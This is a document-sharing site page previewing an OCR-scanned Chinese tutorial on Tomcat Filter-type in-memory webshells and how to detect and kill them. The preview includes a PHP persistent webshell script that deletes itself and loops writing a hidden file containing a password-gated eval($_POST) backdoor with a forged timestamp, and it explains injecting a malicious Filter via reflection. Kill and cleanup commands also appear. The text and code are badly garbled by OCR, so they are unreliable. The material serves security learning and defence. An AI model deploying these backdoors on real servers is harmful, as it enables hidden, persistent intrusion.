欢迎来到优知文库! | 帮助中心 分享价值,成长自我!
优知文库
全部分类
  • 幼儿/小学教育>
  • 中学教育>
  • 高等教育>
  • 研究生考试>
  • 外语学习>
  • 资格/认证考试>
  • 论文>
  • IT计算机>
  • 法律/法学>
  • 建筑/环境>
  • 通信/电子>
  • 医学/心理学>
  • ImageVerifierCode 换一换
    首页 优知文库 > 资源分类 > DOCX文档下载
    分享到微信 分享到微博 分享到QQ空间

    2024Tomcat Filter类型内存马与查杀技术学习.docx

    • 资源ID:1269091       资源大小:505.58KB        全文页数:43页
    • 资源格式: DOCX        下载积分:7金币
    快捷下载 游客一键下载
    账号登录下载
    微信登录下载
    三方登录下载: QQ登录
    二维码
    扫码关注公众号登录
    下载资源需要7金币
    邮箱/手机:
    温馨提示:
    快捷下载时,如果您不填写信息,系统将为您自动创建临时账号,适用于临时下载。
    如果您填写信息,用户名和密码都是您填写的【邮箱或者手机号】(系统自动生成),方便查询和重复下载。
    如填写123,账号就是123,密码也是123。
    支付方式: 支付宝    微信支付   
    验证码:   换一换

    加入VIP,免费下载
     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    2024Tomcat Filter类型内存马与查杀技术学习.docx

    TomcatFilter类型内存口与查杀技术学习前I随着每年攻防对抗强度的增加普通的木在各大厂商的安全设备下,根本难以存活,想要落地一个实体木的难度逐渐增大逐步完善的过滤机制前后端分离的趋势,使得传统的WebShell生存空间越来越小于是,随着时代的发展,内存口出现了内存口就是一种无需落地文件就能使用的WebSheIl它将恶意代码写入内存,拦截固定参数来达到WebSheIl的效果发展过程如下:web服务器管理口面>大口>小口拉大口>-句话木口>加密一句话木口>加密内存口php内存口刚开始学习的时候,只知道php内存口,想的都是内存口,php和java应该会有一些相似的特征,应该可以类it-下php内存口常常作为AWD对抗赛的常用手段先通过一个简单的php型看一下内存口的基本实现思路<?phpignore_user_abortj¢(jae);/ignore_user_abort如果设置为TRUE则忽略与用户的断开,脚本将继续运行set_time_limit(0);/PHP脚本限制了执行时间SeJtim(0)设置一个脚本的执行时间为无限口unlink(.F¾/删除自身$file=,.config.h,;$code=,<7phpif(md5($_GET"pass")=,laldc91c907325c69271ddf0c944bc72,')0eval($_POSTa);?>'喳lfile_put_contents($file,$code);/创建SheIl.phpsystem(,touch-m-d"2018-12-0109:10:12t,.config.php,);usleep(50);间隔时间)?>生成.cofig.php普通Is列不出来得Is-a才会列出=>隐藏文件删除自身文件,然后在某一个目录下循环生成你的webshell=>不死那我们可以梳理一下php内存口的流程:1.将携带循环生成木口的命令脚本上传至目标服务器2,删除文件本身3.让其以隐藏文件的方式,死循环创建文件并向文件中写入木口查杀php内存口1.重言php月艮务器(serviceapache2restart)2,强行kill后台进程psauxgrepwww-dataawk'print$2*xargskill-93 .while循环写脚本while:;dorm-rfxxx;done4 .建立一个和不死口相同名字的文件或者目录,不断竞争写大-个和不死口同名的文件b<?PhP,2IIld)$pid=不死口的进程PHD;Gunlink(".ski12.php");逐陵("kill-9$pid");usleep(20);?>那我们根据php来类It-下java1,内存无文件落地B户无法浏览到5 .文件不死能够循环执行要实现这两点需要结合java的特性来看,通常运行java的Web容器是TomCat-这里以TOmCat为例实现思路我们先来看一下客户端(浏览器)与服务器(TomCat)交互的简化流程客户端发起的Web清求会依次经过1.iStenerFilterServlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的SheIlCOde就可以达到我们的目的-句话总结:对访问路径映射及相关处理代码的动态注册我们要在上面这三个地方动手脚,于是按照作用的位置我们有了 listener内存口 filter内存口 Servlet内存口这三个统称为:servlet-api型在特定框架里,如SpringStruts2等框架,按照位置分类可以有 interceptor型 controller型同时针对不同的中间件还有不同的类型 Tomcat的Pipeline&Valve.GriZZly的FilterChain&Filter等等最后一种是字节码增强型内存口JavaAgent内存口最终安全行业将分为以下。类- 动态注册SerVIetAlter/IiStener(使用servlet-api的具体实现)- 动态注册interceptor/controller(使用框架如springstruts2).动态注册使用职责链设计模式的中间件.框架的实现(例如Tomcat的Pipeline&ValveGrizzly的FiIterChainSFiIter等等)- 使用javaagent技术写入字节码以Filter型内存口为例在进入正题之前,先说两个东西java特性一反射java的四大特性是,封装,继承,多态,反射,其中灵魂是反射我们先看这张图,正常我们new一个对象的时候,逻辑过程是,把class文件加载到jvm中,之后才能产生class对象但是我们利用反射机制的话,就能够直接在jvm中调用已经加载好的CIaSS文件,从而实现去new一个对象简单的反射获取对象的方法有以下几种:类名.class如:com.anbai.sec.classloader.TestHelloWorld.classClas6.forName(2Cn.anbai.sec.classloader.TestHelloWorldn)IoadClass(,'e.anbai.sec.classloader.TestHeIloWorld,1)常在连接数据库的时候这么用Class.forName("com.mysql.jdbc.Driver")获取目标类型的Class对象通过Class对象分别获取Constructor类对象Method类对象&Field类对象通过Constructor类对象Method类对象&Field类对象分别获取类的构造函数方法&属性的具体信息并进行后续操作Tomcat热加载上面说到,根据双亲委派机制那么什么是双亲委派机制呢?父加载器加载失败由子加载器加载启动类加载器扩展类加载器应用程序类加载器自下由上委托加载自定义类加载器自定义类加载器但是Tomcat不适用于这种机制他所使用的是:Jsper1.oader所以在分析某些类的时候要按照对应Tomcat三面去分析流程分析niter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的也可以对返回的response进行拦截处理当多个filter同时存在的时候,组成了filter链web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter第一个Filter的doFilter方法被调用时web服务器会创建一个代表Filter链的FiIterChain对象传递给该方法在doFilter方法中,开发人员如果调用了FiIterChain对象的doFilter方法,则web服务器会检查FiIterChain对象中是否还有filter如果有则调用第2个Hter如果没有则调用目标资源象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存WebShellFilter生命周期PJI51C的七(FiIterConfigfHterConfig)throwsServletException/初始化0川13质3(ServletRequestrequest,ServletResponseresponse,FilterChainchain)thQWIOException,ServIetException;拦截请求毁We咐的胭讦”();销毁Filter对象创建后会驻留在内存,当Web应用移除或服务器停止时才销毁.在Web容器卸载FiIter对象之前被调用该方法在Filter的生命周期中仅执行一次在这个方法中,可以释放过滤器使用的资源.我们可以通过动态注册的方法去注册一个FilterFilter类的介绍FiIterDefs:存放FiIterDef的数组FiIterDef中存储着我们过滤器名,过滤器实例等基本信息FiIterConfigs:存放filterCofig的数组,在FilterCofg中主要存放FiIterDef和Filter对象等信息FiIterMaps:存放FiIterMap的数组,在FiIterMap中主要存放了FiIterName和对应的UR1.PatternFiIterChain:过滤器链,该对象上的doFilter方法能依次调用链上的FilterAppIicationFiIterChain:调用过滤器链AppIicationFiIterConfig:获取过滤器AppIicationFiIterFactory:组装过滤器链WebXmI:存放web.xml中内容的类ContextConfig:Web应用的上下文配置类StandardContext:Context接口的标准实现类一个Context代表一个Web应用其下可以包含多个WrapperStandardWrapperVaIve:-个Wrapper的标准实现类,一个Wrapper代表一个ServletOK,到这里,我我们有些许迷茫,什么是ContextwrapperSerVIet是java最基本的应用,而TomCat是一个大的SeMet容器tomcat主要由ConneCtor连接器和容器组成(这四个容器的关系如下)是父子关系,不是平行关系和Servlet的方式不同,Filter不能通过注解去配置必须在web.xml进行配置<?xmlversion="l.0,encoding=,UTF-8',7><web-<appcmlns="http:/xmlns.jcp.orgxmlnsjavaee"Xmlns:XSi="xsi:Schema1.ocation="version三"4.0,><fiUter><filter-ns11ne>filterDemo<fi1.ter-nfflme><£i.lter-cl1.as$>FiiterDemo</filter-class>< fHtee>< ilterFaPPing><fiUter-nsMne>filterDemo<filter-name><rl-pattem>*<url-patte!rn>< /filter-!mapping><HUter><filter-naime>filterDemo2</filter-name><fiKtercl1.ass>FiiterDeno2<fiXter-clss>< /Cilter>< tiUter-mapping><filter-name>filterDemo2<filter-name><wR-pttee>*</WPattern><fi

    注意事项

    本文(2024Tomcat Filter类型内存马与查杀技术学习.docx)为本站会员(王**)主动上传,优知文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知优知文库(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

    copyright@ 2008-2023 yzwku网站版权所有

    经营许可证编号:宁ICP备2022001189号-2

    本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。优知文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知优知文库网,我们立即给予删除!

    收起
    展开